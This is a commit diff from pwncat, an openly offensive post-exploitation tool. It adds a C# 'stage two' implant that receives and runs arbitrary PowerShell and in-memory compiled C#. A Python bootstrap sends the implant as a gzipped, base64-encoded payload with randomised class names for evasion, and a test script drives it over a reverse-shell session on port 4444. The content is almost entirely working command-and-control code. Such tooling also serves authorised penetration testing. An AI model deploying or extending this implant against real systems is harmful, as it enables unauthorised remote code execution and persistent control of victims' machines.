Added proper stagetwo source with basic C# and powershell commands

pwncat/data/conpty.cs

@@ -11,6 +11,7 @@ public static class ConPtyShell
     private const string errorString = "{{{ConPtyShellException}}}\r\n";
     private const uint ENABLE_VIRTUAL_TERMINAL_PROCESSING = 0x0004;
     private const uint DISABLE_NEWLINE_AUTO_RETURN = 0x0008;
+	private const uint ENABLE_WRAP_AT_EOL_OUTPUT = 0x0002;
     private const uint PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE = 0x00020016;
     private const uint EXTENDED_STARTUPINFO_PRESENT = 0x00080000;
     private const uint CREATE_NO_WINDOW = 0x08000000;
@@ -236,21 +237,11 @@ public static class ConPtyShell
             throw new InvalidOperationException("Could not get console mode");
         }
         outConsoleMode |= ENABLE_VIRTUAL_TERMINAL_PROCESSING | DISABLE_NEWLINE_AUTO_RETURN;
+		outConsoleMode &= ~ENABLE_WRAP_AT_EOL_OUTPUT;
         if (!SetConsoleMode(hStdOut, outConsoleMode))
         {
             throw new InvalidOperationException("Could not enable virtual terminal processing");
         }
-
-        IntPtr hStdIn = GetStdHandle(STD_INPUT_HANDLE);
-        if (!GetConsoleMode(hStdIn, out outConsoleMode))
-        {
-            throw new InvalidOperationException("Could not get console mode");
-        }
-        outConsoleMode |= 0x0004 | 0x0001 | 0x0200;
-        if (!SetConsoleMode(hStdIn, outConsoleMode))
-        {
-            throw new InvalidOperationException("Could not enable virtual terminal processing");
-        }
     }
 
     private static int CreatePseudoConsoleWithPipes(ref IntPtr handlePseudoConsole, ref IntPtr ConPtyInputPipeRead, ref IntPtr ConPtyOutputPipeWrite, uint rows, uint cols){

pwncat/data/stagetwo.cs

@@ -0,0 +1,78 @@
+class StageTwo
+{
+    public System.String ReadUntilLine(System.String delimeter)
+    {
+        System.Text.StringBuilder builder = new System.Text.StringBuilder();
+
+        while (true)
+        {
+            System.String line = System.Console.ReadLine();
+            if (line == delimeter)
+            {
+                break;
+            }
+            builder.AppendLine(line);
+        }
+
+        return builder.ToString();
+    }
+
+    public void main()
+    {
+        object[] args = new object[] { };
+
+        System.Console.WriteLine("READY");
+
+        while (true)
+        {
+            System.String line = System.Console.ReadLine();
+            var method = GetType().GetMethod(line);
+            if (method == null) continue;
+            method.Invoke(this, args);
+        }
+    }
+
+    public void powershell()
+    {
+        var command = System.Convert.ToBase64String(System.Text.Encoding.Unicode.GetBytes(ReadUntilLine("# ENDBLOCK")));
+        var startinfo = new System.Diagnostics.ProcessStartInfo()
+        {
+            FileName = "powershell.exe",
+            Arguments = "-noprofile -ep unrestricted -enc " + command,
+            UseShellExecute = false
+        };
+
+        var p = System.Diagnostics.Process.Start(startinfo);
+        p.WaitForExit();
+    }
+
+    public void csharp()
+    {
+        var cp = new System.CodeDom.Compiler.CompilerParameters()
+        {
+            GenerateExecutable = false,
+            GenerateInMemory = true,
+        };
+
+        while (true)
+        {
+            System.String line = System.Console.ReadLine();
+            if (line == "/* ENDASM */") break;
+            cp.ReferencedAssemblies.Add(line);
+        }
+
+        cp.ReferencedAssemblies.Add("System.dll");
+        cp.ReferencedAssemblies.Add("System.Core.dll");
+        cp.ReferencedAssemblies.Add("System.Dynamic.dll");
+        cp.ReferencedAssemblies.Add("Microsoft.CSharp.dll");
+
+        var r = new Microsoft.CSharp.CSharpCodeProvider().CompileAssemblyFromSource(cp, ReadUntilLine("/* ENDBLOCK */"));
+        if (r.Errors.HasErrors)
+        {
+            return;
+        }
+
+        var obj = r.CompiledAssembly.CreateInstance("command");
+        obj.GetType().GetMethod("main").Invoke(obj, new object[] { });
+    }
+}

pwncat/platform/windows.py

@@ -1,13 +1,18 @@
 #!/usr/bin/env python3
 from io import TextIOWrapper, BufferedIOBase, UnsupportedOperation
+from typing import List
+from io import StringIO, BytesIO
+import textwrap
 import pkg_resources
 import pathlib
 import base64
 import time
+import gzip
 import os
 
 import pwncat
 import pwncat.subprocess
+import pwncat.util
 from pwncat.platform import Platform, PlatformError, Path
 
 
@@ -16,6 +21,22 @@ class PopenWindows(pwncat.subprocess.Popen):
     Windows-specific Popen wrapper class
     """
 
+    def __init__(
+        self,
+        platform: Platform,
+        args,
+        stdout,
+        stdin,
+        text,
+        encoding,
+        errors,
+        bufsize,
+        start_delim: bytes,
+        end_delim: bytes,
+        code_delim: bytes,
+    ):
+        super().__init__()
+
 
 class WindowsReader(BufferedIOBase):
     """
@@ -37,6 +58,13 @@ class Windows(Platform):
     established with an open powershell session."""
 
     PATH_TYPE = pathlib.PureWindowsPath
+    LIBRARY_IMPORTS = {
+        "Kernel32": [
+            "IntPtr GetStdHandle(int nStdHandle)",
+            "bool GetConsoleMode(IntPtr hConsoleHandle, out uint lpMode)",
+            "bool SetConsoleMode(IntPtr hConsoleHandle, uint lpMode)",
+        ]
+    }
 
     def __init__(
         self,
@@ -56,13 +84,119 @@ class Windows(Platform):
 
         # Most Windows connections aren't capable of a PTY, and checking
         # is difficult this early. We will assume there isn't one.
-        self.has_pty = False
+        self.has_pty = True
 
         # Trigger allocation of a pty. Because of powershell and windows
         # being unpredictable and weird, we basically *need* this. So,
         # we trigger it initially. WinAPI is available everywhere so on
         # any relatively recent version of windows, this should be fine.
-        self.get_pty()
+        # self.get_pty()
+
+        self._bootstrap_stage_two()
+
+        # Load requested libraries
+        # for library, methods in self.LIBRARY_IMPORTS.items():
+        #     self._load_library(library, methods)
+
+    def _bootstrap_stage_two(self):
+        """This takes the stage one C2 (powershell) and boostraps it for stage
+        two. Stage two is C# code dynamically compiled and executed. We first
+        execute a small C# payload from Powershell which then infinitely accepts
+        more C# to be executed. Further payloads are separated by the delimeters:
+
+        - "/* START CODE BLOCK */"
+        - "/* END CODE BLOCK */"
+        """
+
+        # Read stage two source code
+        stage_two_path = pkg_resources.resource_filename("pwncat", "data/stagetwo.cs")
+        with open(stage_two_path, "rb") as filp:
+            source = filp.read()
+
+        # Randomize class and method name for a smidge of anonymity
+        clazz = pwncat.util.random_string(8)
+        main = pwncat.util.random_string(8)
+        source = source.replace(b"class StageTwo", b"class " + clazz.encode("utf-8"))
+        source = source.replace(
+            b"public void main", b"public void " + main.encode("utf-8")
+        )
+
+        # compress and encode source
+        source_gz = BytesIO()
+        with gzip.GzipFile(fileobj=source_gz, mode="wb") as gz:
+            gz.write(source)
+        source_enc = base64.b64encode(source_gz.getvalue())
+
+        # List of needed assemblies for stage two
+        needed_assemblies = [
+            "System.dll",
+            "System.Core.dll",
+            "System.Dynamic.dll",
+            "Microsoft.CSharp.dll",
+        ]
+
+        # List of commands in the payload to bootstrap stage two
+        payload = [
+            "$cp = New-Object System.CodeDom.Compiler.CompilerParameters",
+        ]
+
+        # Add all needed assemblies to the compiler parameters
+        for assembly in needed_assemblies:
+            payload.append(f"""$cp.ReferencedAssemblies.Add("{assembly}")""")
+
+        # Compile our C2 code and execute it
+        payload.extend(
+            [
+                "$cp.GenerateExecutable = $false",
+                "$cp.GenerateInMemory = $true",
+                "$gzb = [System.Convert]::FromBase64String((Read-Host))",
+                "$gzms = New-Object System.IO.MemoryStream -ArgumentList @(,$gzb)",
+                "$gz = New-Object System.IO.Compression.GzipStream $gzms, ([IO.Compression.CompressionMode]::Decompress)",
+                f"$source = New-Object byte[]({len(source)})",
+                f"$gz.Read($source, 0, {len(source)})",
+                "$gz.Close()",
+                "$r = (New-Object Microsoft.CSharp.CSharpCodeProvider).CompileAssemblyFromSource($cp, [System.Text.Encoding]::ASCII.GetString($source))",
+                f"""$r.CompiledAssembly.CreateInstance("{clazz}").{main}()""",
+            ]
+        )
+
+        # Send the payload, then send the encoded and compressed code
+        self.channel.send((";".join(payload)).encode("utf-8") + b"\n")
+        self.channel.send(source_enc + b"\n")
+
+        # Wait for the new C2 to be ready
+        self.channel.recvuntil(b"READY")
+
+    def _load_library(self, name: str, methods: List[str]):
+        """Load the library. This adds a global with the same name as `name`
+        which contains a reference to the library with all methods specified in
+        `mehods` loaded."""
+
+        name = name.encode("utf-8")
+        method_def = b""
+
+        for method in methods:
+            method = method.encode("utf-8")
+            # self.channel.send(
+            method_def += (
+                b'[DllImport(`"'
+                + name
+                + b'.dll`", SetLastError = true)]`npublic static extern '
+                + method
+                + b";`n"
+            )
+
+        command = (
+            b"$"
+            + name
+            + b' = Add-Type -MemberDefinition "'
+            + method_def
+            + b"\" -Name '"
+            + name
+            + b"' -Namespace 'Win32' -PassThru\n"
+        )
+        self.channel.send(command)
+        self.session.manager.log(command.decode("utf-8").strip())
 
     def get_pty(self):
         """ Spawn a PTY in the current shell. """
@@ -91,7 +225,6 @@ class Windows(Platform):
         for idx in range(0, len(source), CHUNK_SZ):
             chunk = source[idx : idx + CHUNK_SZ]
             self.channel.send(b'$source = $source + "' + chunk + b'"\n')
-            time.sleep(0.1)
 
         # decode the source
         self.channel.send(
@@ -109,9 +242,6 @@ class Windows(Platform):
             + b"\n"
         )
 
-        self.channel.recvuntil(b"> ")
-        self.channel.send(b"\n")
-
         self.has_pty = True
 
     def get_host_hash(self):
@@ -124,6 +254,8 @@ class Windows(Platform):
     @interactive.setter
     def interactive(self, value):
 
+        return
+
         if value:
 
             command = (
@@ -138,13 +270,10 @@ class Windows(Platform):
                         "}",
                     ]
                 )
-                + "\r\r"
+                + "\r"
             )
 
             self.logger.info(command.rstrip("\n"))
             self.channel.send(command.encode("utf-8"))
 
-            self.channel.recvuntil(b"$")
-            self.channel.recvuntil(b"\n")
-
             return

pwncat/util.py

@@ -242,7 +242,9 @@ def with_progress(title: str, target: Callable[[Callable], None], length: int =
 
 def random_string(length: int = 8):
     """ Create a random alphanumeric string """
-    return "".join(random.choice(ALPHANUMERIC) for _ in range(length))
+    return random.choice(string.ascii_letters) + "".join(
+        random.choice(ALPHANUMERIC) for _ in range(length - 1)
+    )
 
 
 def enter_raw_mode():

test.py

@@ -1,5 +1,6 @@
 #!./env/bin/python
 import pwncat.manager
+import time
 
 # Create a manager
 manager = pwncat.manager.Manager("data/pwncatrc")
@@ -7,4 +8,21 @@ manager = pwncat.manager.Manager("data/pwncatrc")
 # Establish a session
 session = manager.create_session("windows", host="192.168.122.11", port=4444)
 
+session.platform.channel.send(
+    b"""
+csharp
+/* ENDASM */
+class command {
+  public void main()
+  {
+    System.Console.WriteLine("We can execute C# Now!");
+  }
+}
+/* ENDBLOCK */
+powershell
+Write-Host "And we can execute powershell!"
+# ENDBLOCK
+"""
+)
+
 manager.interactive()